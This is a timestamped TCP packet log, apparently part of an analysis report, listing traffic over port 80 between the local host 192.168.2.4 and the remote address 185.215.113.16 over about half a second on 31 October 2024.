Oct 31, 2024 03:04:31.419423103 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419441938 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419461012 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419547081 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419564962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419578075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419586897 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419589043 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419615984 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419641972 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419881105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419893026 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419904947 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419917107 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419919968 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419939041 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419951916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419962883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419969082 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.419974089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419984102 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.419995070 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.420012951 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.420037031 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.420485973 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.420502901 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.420515060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.420526028 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.420531034 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.420538902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.420556068 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.420582056 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.420855045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.420867920 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.420892000 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.420914888 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.420928001 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.452438116 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.452456951 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.452472925 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.452486038 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.452503920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.452516079 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.497853041 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.497864962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.497874975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.497921944 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.497952938 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.498528957 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.498539925 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.498549938 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.498579979 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.498604059 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.527978897 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.527992010 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.528002024 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.528069973 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.528083086 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.528095007 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.528101921 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.528136015 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.528748989 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.528760910 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.528769970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.528805017 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.528821945 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.537096977 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.537107944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.537117958 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.537154913 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.537180901 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.537750959 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.537781000 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.537791014 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.537798882 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.537822008 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.537827969 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.537838936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.537847996 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.537861109 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.537890911 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538141966 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538152933 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538162947 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538192034 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538203955 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538291931 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538301945 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538311958 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538336992 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538362026 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538368940 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538379908 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538389921 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538422108 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538444996 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538816929 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538826942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538840055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538861990 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538866043 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538877010 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538878918 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538886070 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538897991 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538908958 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.538913012 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538923979 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.538952112 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.539026022 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.539093971 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.539474964 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.539484978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.539494991 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.539506912 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.539520979 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.539549112 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.539582968 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.539627075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.539788008 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.539836884 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.539978027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.540023088 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.571008921 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.571022034 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.571032047 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.571067095 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.571099043 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.616501093 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.616549015 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.616559982 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.616571903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.616627932 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.616667032 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.617211103 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.617223978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.617233992 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.617291927 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.646563053 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.646598101 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.646608114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.646629095 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.646630049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.646641016 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.646641970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.646648884 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.646687984 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.647475004 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.647485971 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.647495985 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.647526979 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.647555113 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.655714035 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.655726910 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.655735970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.655771017 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.655823946 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.656472921 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656491041 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656503916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656514883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656536102 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.656557083 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.656570911 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656613111 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.656615019 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656625986 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656636000 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656661987 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.656687975 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.656842947 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656888962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656893969 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.656900883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656912088 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.656933069 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.656960964 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657130003 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657155037 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657175064 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657181025 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657186985 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657197952 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657210112 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657227993 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657499075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657510042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657520056 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657531023 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657542944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657547951 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657582045 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657807112 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657818079 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657829046 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657852888 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657885075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657886982 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657898903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657910109 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657921076 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.657926083 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657952070 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.657979012 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.658741951 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.658790112 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.689745903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.689764023 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.689775944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.689786911 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.689812899 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.689820051 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.689831018 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.689853907 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.689871073 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.735203028 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.735214949 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.735225916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.735265017 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.735279083 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.735862017 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.735872030 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.735877991 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.735914946 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.735939980 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.735949039 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.735981941 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.736181021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.736227036 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.765553951 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.765568018 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.765578032 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.765609980 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.765636921 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.765649080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.765649080 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.765688896 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.766228914 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.766241074 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.766251087 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.766277075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.766308069 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.774518967 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.774532080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.774543047 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.774575949 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.774616957 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.775156975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775168896 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775178909 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775202990 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.775229931 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.775264978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775275946 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775289059 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775310993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775322914 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.775329113 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775330067 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.775371075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.775685072 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775753975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775765896 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775777102 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775805950 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.775825024 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.775882006 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775934935 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775937080 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.775945902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.775968075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.775983095 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.776011944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776024103 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776041031 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776061058 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.776084900 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.776380062 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776392937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776405096 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776423931 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.776449919 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.776604891 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776617050 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776628017 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776638985 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776650906 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776660919 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.776671886 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.776684999 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.776947975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776958942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776969910 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.776988029 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.777010918 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.808568954 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.808583021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.808593988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.808607101 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.808619022 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.808624983 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.808671951 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.854054928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.854069948 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.854083061 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.854113102 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.854115009 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.854124069 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.854135036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.854160070 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.854173899 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.854541063 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.854552031 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.854562998 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.854597092 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.854609966 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.884237051 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884248972 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884259939 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884270906 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884289026 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.884319067 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884329081 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.884329081 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884377003 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.884402037 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884454966 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.884706974 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884761095 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.884915113 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884927988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884938955 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.884962082 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.884978056 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894176960 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894188881 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894198895 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894211054 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894222975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894232035 CET	80	63886	185.215.113.16	192.168.2.4
